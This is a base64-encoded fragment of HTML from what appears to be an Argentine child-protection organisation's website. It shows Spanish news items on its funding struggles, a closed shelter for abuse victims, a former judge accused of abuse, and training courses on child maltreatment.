zPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXR